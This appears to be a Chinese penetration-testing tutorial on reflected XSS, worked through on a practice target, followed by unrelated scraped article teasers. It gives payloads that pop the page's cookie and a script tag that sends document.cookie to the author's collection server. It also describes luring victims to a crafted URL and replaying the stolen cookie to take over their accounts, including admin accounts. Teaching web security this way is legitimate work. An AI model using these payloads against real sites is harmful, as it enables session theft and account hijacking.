Web渗透测试之XSS攻击:反射型XSS

2023-05-16

文章目录

    • 前言
    • 反射型XSS
      • 最简单的反射型XSS
      • 利用反射型XSS获得cookie
        • 获得cookie的最简单的方法
        • DNSlog辅助获得cookie
    • 总结

前言

  在上一篇文章中我们基本了解了XSS的类型和危害,在本篇中我们将通过具体的例子和讲解,深入理解反射型XSS攻击的具体过程及危害。

反射型XSS

  在上一篇中我们了解到反射型XSS往往存在于需要通过get获得参数的地方,并且是被立即包含在当前响应的HTTP请求中的。接下来我们就来看看一个最简单的反射型XSS例子。

最简单的反射型XSS

靶场题目页面如下:
题目页面
接着在搜索栏输入一个最简单反射型XSS:< script >alert(1)< /script >,观察页面响应情况:
输入最简单的反射型XSS
结果如下:
反射型XSS结果
可以看到页面出现一个弹窗且弹框内容显示为1。接着再来看看我们写入这个XSS后浏览器地址栏情况:
浏览器地址栏情况
重点在于划红线部分:我们写入的XSS被立即包含在接下来的HTTP请求中。
  由这个简单例子我们就能看出来,反射型XSS攻击的基本流程为:
1.在需要提交get参数且存在XSS漏洞的地方写入我们的脚本,构成http://xxx/xx?abc=XSS这种形式的虚假URL;
2.接着通过点击或者提交等方式触发我们写入的XSS;
3.最后XSS在浏览器中被执行;
在清楚了反射型XSS工作的原理后,我们再来看看反射型XSS的具体用途。

利用反射型XSS获得cookie

  之前我们提到过,XSS最主要的危害就是可以让攻击者冒充受害用户,但我们难以直接获得受害用户的账号密码,因此我们把目标放在存有登录验证用的cookie上。

获得cookie的最简单的方法

  我们在存有XSS漏洞的搜索栏中输入< script>alert(document.cookie)< /script>:
获得cookie
提交后结果如下:
弹出cookie
可以看到,弹窗已经把cookie展示了出来。
  但现在存在的问题是,如果采用此方法,cookie只会在受害用户的浏览器中弹出,最终我们是无法获得cookie的。联想到SQL盲注,同样是无“回显”,而当时我们的采用的方式是将受我们控制的域名一同写进SQL语句中,然后通过查看服务器访问日志来获得我们想要数据。同样地,在反射型XSS中,我们也可以在XSS中写入受我们控制的域名,然后通过查看该域名服务器的请求日志来获得cookie。

DNSlog辅助获得cookie

  我们可以在存在XSS漏洞的地方加上诸如以下XSS:
< script src=“http://127.0.0.1/xss/UYxzH8?1608472710/” + document.cookie;> < /script>(http://127.0.0.1/xss/UYxzH8?1608472710/ 为笔者在本地搭建的XSS平台)
接着构造诸如以下虚假URL诱使受害用户点击:
http://xxx/xx?abc=< script src=“http://127.0.0.1/xss/UYxzH8?1608472710/” + document.cookie;> < /script>
  在用户点击之后只需通过查看日志即可获得受害用户的cookie。在获得cookie之后就可以利用抓包工具修改请求包中的cookie,将其替换为受害用户的cookie即可登录受害用户的账号。而诱使用户点击虚假URL的方式有很多,如钓鱼邮件、特殊的图片或文本等等。涉及社会工程学相关方面的技能说难不难,说容易也不容易,笔者在此不做示范。

总结

  我们可以通过XSS:< script>alert(1)< /script>来简单判断是否存在XSS漏洞。在确定XSS漏洞的类型为反射型之后,可以在XSS中加入受我们控制的域名,使得带有cookie的请求访问我们的服务器。在诱使受害用户点击我们构造的虚假URL之后,我们只需查看DNS请求日志即可获得cookie。最后通过抓包工具修改请求包中的cookie就能达到冒充受害用户的目的,而如果受害者拥有管理员权限,则危害更大,攻击者相当于变相获得了管理员权限。
  以上就是本篇的全部内容,我们下篇见。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Web渗透测试之XSS攻击:反射型XSS 的相关文章

  • SQL数据分析之基础语法的注意事项与妙用【MySQL补充】

    文章目录 1 语法与运行顺序2 计算字段在select里进行3 列表的使用4 between and 范围在什么之间5 模糊查询 xff08 注意 xff1a 单引号 xff09 6 多条件模糊查询7 指定前排的排序8 limit的第二个参
  • SQL数据分析之MySQL数字、字符、日期函数-可用于where和select【精心整理】

    文章目录 一 数字函数二 字符函数三 日期函数 一 数字函数 1 round四舍五入 1 xff09 用法示例 span class token comment 保留整数位四舍五入 span span class token keyword
  • SQL数据分析之流程控制语句【if,case...when详解】

    文章目录 零 写在前面一 if单条件判断语句二 case when多条件判断1 单条件 xff08 if else效果 xff09 2 多条件 xff08 if else if else效果 xff09 3 常量用法 xff08 switc
  • Go语言安装与第一个HelloWorld程序

    Go语言第一个HelloWorld程序 Go xff0c 又称 Golang xff0c 是一个Google于 2009年11月 开源的编译型编程语言 Go是从2007年末由Robert Griesemer Rob Pike Ken Tho
  • SQL数据分析之窗口排序函数rank、dense_rank、raw_number与lag、lead窗口偏移函数【用法整理】

    文章目录 零 写在前面一 窗口排序函数1 基础2 rank over 跳跃式排序3 dense rank over 4 raw number over 5 注意 二 窗口偏移函数1 lag 2 lead 3 综合练习 注意 xff1a 这些
  • SQL数据分析之子查询的综合用法和案例题【耐心整理】

    文章目录 零 写在前面一 子查询基础用法二 子查询综合用法 xff08 难题 xff09 零 写在前面 本文所有代码均是在SQL ZOO平台进行 xff0c 数据也该平台下的world表和一些其他平台提供的数据表 xff0c 所有代码均已通
  • python变量命名规范

    一 变量的命名 变量是对象的引用 xff0c 变量存放于栈中 xff0c 对象存放于堆中 python对变量的命名比较简明 xff0c 不得使用数字开头即可 xff0c 在此可引申下 xff0c 包和变量名 xff0c 全都小写 xff0c
  • python-基本数据运算

    一 基本数据运算 xff1b 0不能作除数 xff0c 否则报错 1 43 加 1 43 2 61 3 2 减 3 1 61 2 3 乘 3 2 61 6 4 除 6 2 61 3 5 整除 7 2 61 3 6 求余数 9 2 61 1
  • Verilog电路设计小技巧之表达式位宽

    不积跬步无以至千里 记录Verilog电路设计中的点点滴滴 今天想说说verilog中表达式的位宽问题 xff0c 编码过程中 xff0c 经常会出现很多表达式位宽不匹配 基本上在跑lint的时候 xff0c 只要一个表达式中有任意2个操作
  • MicroPython在Pycharm上的运行方式

    安装插件micropython 安装CP210x VCP Winodws 可在设备管理器中查看 安装python环境变量envs 在Pycharm中激活环境变量 eg xff1a activate MicroPython pip insta
  • VS2012运行C++程序出现fatal error LNK1104: 无法打开文件“kernel32.lib”错误

    VS2012运行C 43 43 程序出现fatal error LNK1104 无法打开文件 kernel32 lib 错误 一 本人的安装环境 xff1a win7 64位 二 解决方法 当时安装完成之后 xff0c 运行一个简单的Hel
  • 调试llvm时出现collect2: fatal error: ld terminated with signal 9

    安装llvm debug版本 release版本的安装过程可以参考https blog csdn net vincentuva article details 82993563 在安装使用debug版本时 xff0c 只需要进入到build
  • 地址栏中的#是什么意思

    我们在开发vue时 xff0c 地址栏中会出现 xff0c 如下图所示 xff1a 当我们点击跳转A页面时 xff1a 那么地址栏中的 到底是什么意思 xff1f 如何去掉 xff1f 路由的两种显示模式 Hash模式 这个模式下地址栏中包
  • Anaconda静默安装

    我们默认安装Anaconda时 xff0c 需要进行交互才可以完成安装 xff0c 例如需要输入yes xff0c 或者回车 有时候我们只需要他进行默认安装即可 xff0c 不需要进行交互 命令如下 xff1a span class tok
  • 使用godoc创建可以本地浏览的go文档站点

    Golang 的官网地址是golang org xff0c 有的时候国内打不开 现在国内的可以使用 xff08 golang google cn xff09 其实 xff0c 如果已经安装好了 go xff0c 可以在本地直接查看go 文档
  • 慎用 dpkg --force-all 安装 linuxqq

    最近与一个朋友联络 xff0c 要用 QQ 去 xff31 xff31 官网上只有比较早的版本 xff0c 安装后 xff0c 还提示必须更新 xff0c 点击还找不到下载 xff0c 悲了个催 后面幸好有 web qq 暂时解决了这个问题
  • 又开了一个BLOG,发个贴纪念一下

    很久没写技术方面的BLOG了 xff0c 最近因为查询资料看了很多比人的BLOG 感觉心里有些痒痒的 xff0c 所以决定再次开一个BLOG xff0c 本人是搞嵌入式开发的 xff0c 对各种通讯终端 xff0c CPU以及LINUX比较
  • How to make linux boot from network

    1 Enable dhcp server on a linux server the etc dhcpd conf should be looked like this ddns update style interim ignore cl
  • 转回CSDN了

    在BLOGSPOT上面挣扎了几个月 xff0c 还是放弃了 xff0c 毕竟看我的BLOG绝大多数肯定是中国人 xff0c 一个老被中国政府封的BLOG是没办法让别人接受的 xff0c 哎 xff0c 还是对BLOGSPOT恋恋不舍阿 xf
  • 最近在研究Mythtv

    mythtv是一个linux下的开源电视节目观看 录制和管理的软件 xff0c 如果装在普通PC上就可以变成一台电视PC xff0c 可以使用遥控器来看电视 xff0c 录节目 xff0c 如果装在一个嵌入式系统里就是一个机顶盒啦 xff0

随机推荐

  • arm linux 内核移植及驱动调试-网卡(1)

    最近在给一块ARM开发板 扬创的2440 移植新的kernel xff0c 原来的驱动都在 xff0c 不过还是碰到不少问题 xff0c 主要是对ARM LINUX的一些结构不甚了解 xff0c 这里作个笔记以便自己或他人查阅 前面没有什么
  • UBUNTU 下的IE6搞定

    可以上网上银行 支付宝 就是有点卡 不知道为什么 另外还有些小bug 不过我已经非常满意了 先装好wine 在ubuntu下面就是 sudo apt get install wine cabextract 然后直接下载安装ie4linux就
  • UBUNTU 下编译POKY

    记录一下我在UBUNTU下编译POKY的一些TIPS xff0c 防止以后再编的时候忘掉 xff0c 又要重新GOOGLE 1 解开pinky的包 2 进入pinky目录输入 source poky init build env 3 修改b
  • LLVM编译collect2: fatal error: ld terminated with signal 9

    报错 xff1a collect2 fatal error ld terminated with signal 9 查了一下这个报错 xff0c 可能是内存不足 xff0c 看到有前人的解决方法 xff0c 创建了20G的交换空间 xff1
  • Rust安装与编写第一个rust程序

    Rust 是 Mozilla 开发的注重安全 性能和并发性的编程语言 下边来演示一下如何安装rust xff0c 并尝试创建第一个rust项目 使用 rustup 脚本安装 xff1a 第一步 xff1a 执行 curl https sh
  • (C语言)栈应用简易计算器实现

    利用栈实现简易计算器 进行包含 43 间的计算 include lt stdio h gt include lt string h gt define MaxSize 100 typedef struct CharStack 字符栈 cha
  • 【实战原创】Centos7下Samba服务器配置(实战)

    这篇文章主要介绍了 Centos7 下 Samba 服务器配置 xff08 实战 xff09 xff0c 文中通过示例代码介绍的非常详细 xff0c 对大家的学习或者工作具有一定的参考学习价值 xff0c 需要的朋友们下面随着小编来一起学习
  • 批量修改word中的公式--mathtype

    1 用word打开一个需要编辑公式的文档 2 编辑公式的格式 xff0c 首先 xff0c 双击一个公式 xff0c 打开数学公式编辑器MathType xff0c 进入编辑状态 xff0c 点击大小菜单中的自定义选项 xff0c 修改字号
  • 免费使用office365和5TOneDrive空间

    免费使用office365和5TOneDrive空间 免费使用office365和OneDrive空间 免费使用office365和OneDrive空间 个人版本的office账号只可以拥有5G的存储空间 xff08 可以通过邀请的方式免费
  • UBUNTU 22.04 使用 SUNSHINE 和 MOONLIGHT 进行串流

    参考 ubuntu22 04 sunshine安装使用总结 xff0c 远程游戏 哔哩哔哩 bilibili sunshine README md at master loki 47 6F 64 sunshine GitHub GitHub
  • 学习LUA,使用IUP进行GUI程序设计

    原创 visualfc 在LUA中进行GUI程序设计 xff0c 可以选择的GUI库一般有wxLua和IupLua wxLua具备典型的面向对象风格 xff0c 功能相对强大 而IUP的LUA绑定则非常简洁易用 本文主要介绍IupLua I
  • poj 细菌实验分组

    include lt cstdio gt include lt cstdlib gt struct my int id double rate int cmp const void a const void b return my a ra
  • 在TreeATE的Python环境中: import paramiko出现问题 ModuleNotFoundError: No module named ‘paramiko‘

    在TreeATE的Python环境中解决import问题 一般在Python环境中没有出现问题 ModuleNotFoundError No module named paramiko xff0c 而在TreeATE的Python调试窗口中
  • 【仙女踩坑实录】Ubuntu20.04系统设置打开后闪退

    时隔数月 xff0c 我又踩坑了 今天打开设置想 我已经忘了当时想干啥了 xff0c 反正是想打开设置 xff0c 然后突然发现 xff0c 设置打不开了 xff0c 或者说打开后界面都看不到就闪退了 于是我看到有人在评论区中说是因为显示在
  • Nginx进程项说明

    说明 xff1a 在Windows中nginx服务每次点击启动之后 xff0c 都会生成2个进程项 注意事项 xff1a 在Windows中nginx只能启动一次 关于与启动2项说明 进程项1 xff1a nginx主要进程信息 进程项2
  • 如何设置go环境变量GOPATH?

    如何设置go环境变量GOPATH xff1f 安装 gin gonic gin 报错 cannot download GOPATH not set For more details see go help gopath go get u g
  • vs2022发生生成错误,但错误列表没有报错的一个解决办法

    如题 xff0c 事件的起因是我在编译程序时 xff0c 遇到了这个问题 我写的是最基本的c 43 43 控制台应用程序 然而观察错误列表 xff0c 没有错误 xff0c 也没有警告 进一步尝试后发现 xff0c 即使是原先可以正常运行的
  • Google开源框架AutoFlip 实现视频智能剪裁

    Photo by Kyle Loftus from Pexels Google宣布开源视频剪裁框架AutoFlip xff0c 实现智能化自动裁剪视频 编译 xff1a 郑云飞 amp Coco Liang 技术审校 xff1a 郑云飞 原
  • 如何使用FFmpeg将AVI转换为MP4(有损转换和无损转换)

    翻译 编辑 xff1a Alex 技术审校 xff1a 刘歧 本文来自OTTVerse xff0c 作者为Krishna Rao Vijayanagar 扫描图中二维码了解音视频技术大会更多信息 Easy Tech 021 在本篇文章中 x
  • Web渗透测试之XSS攻击:反射型XSS

    文章目录 前言反射型XSS最简单的反射型XSS利用反射型XSS获得cookie获得cookie的最简单的方法DNSlog辅助获得cookie 总结 前言 在上一篇文章中我们基本了解了XSS的类型和危害 xff0c 在本篇中我们将通过具体的例